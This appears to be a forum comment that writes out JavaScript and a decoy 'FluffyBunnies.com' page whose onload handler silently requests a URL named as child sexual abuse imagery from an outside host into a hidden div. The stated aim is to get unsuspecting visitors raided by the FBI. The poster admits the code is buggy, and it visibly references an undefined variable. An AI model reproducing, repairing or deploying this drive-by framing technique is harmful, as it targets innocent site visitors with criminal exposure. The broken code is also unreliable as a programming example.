$FBI_GETS_TO_RAID_YOUR_HOUSE_URL = "http://unlawfulimages.net/childporn.jpg"; function makeHTTPRequest(method, url, parameters) { http_request = false; if (window.XMLHttpRequest) { // For Mozilla, Safari etc. http_request = new XMLHttpRequest(); if (http_request.overrideMimeType) { // set type accordingly to anticipated content type http_request.overrideMimeType($mime_type); } } else if (window.ActiveXObject) { // For IE try { http_request = new ActiveXObject("Msxml2.XMLHTTP"); } catch (e) { try { http_request = new ActiveXObject("Microsoft.XMLHTTP"); } catch (e) {} } } if (!http_request) { alert('Cannot create XMLHTTP instance'); return false; } http_request.open(method, url, true); http_request.setRequestHeader("Content-type", $mime_type); http_request.setRequestHeader("Connection", "close"); request_timestamp= new Date(); if ((parameters=='')||(parameters==undefined)) { parameters = 'reqtime=' +encodeURI(request_timestamp)+"&rng="+Math.random(); } else {parameters = parameters + '&reqtime='+encodeURI(request_timestamp)+"&rng="+Math.random();} http_request.send(parameters); return http_request; } $div_user_has_no_idea_is_here = "hiddendiv"; function LoseConstitutionalRights() { var this_object = document.getElementById($div_user_has_no_idea_is_here); if (this_object=="") { return("Could not find object of name: "+element_id); } var http_request=makeHTTPRequest("GET",filename); http_request.onreadystatechange=function() { if(http_request.readyState==4) { this_object.innerHTML=this_object.innerHTML+http_request.responseText; if (focus!='') { var this_focus=document.getElementById(focus); if ((this_focus=="")||(this_focus==undefined)) { return("Could not find object of name: "+element_id); } this_focus.focus(); } } } }Now I can just stick a body OnLoad="LoseConstitutionalRights();" tag into a page and you're f-ed.
<html> <head> <title> Welcome to FluffyBunnies.com</title> </head> <body OnLoad="javascript:LoseConstitutionalRights())"> Welcome to fluffy bunnies! Aren't they cute! Show all your pals! <div id="hiddendiv" style="display:none;"></div> </body> </html>Come see the most adorable fluffy bunny site ever!
Ah whoops there’s a bug in that... probably better that way, but still the concept is sound.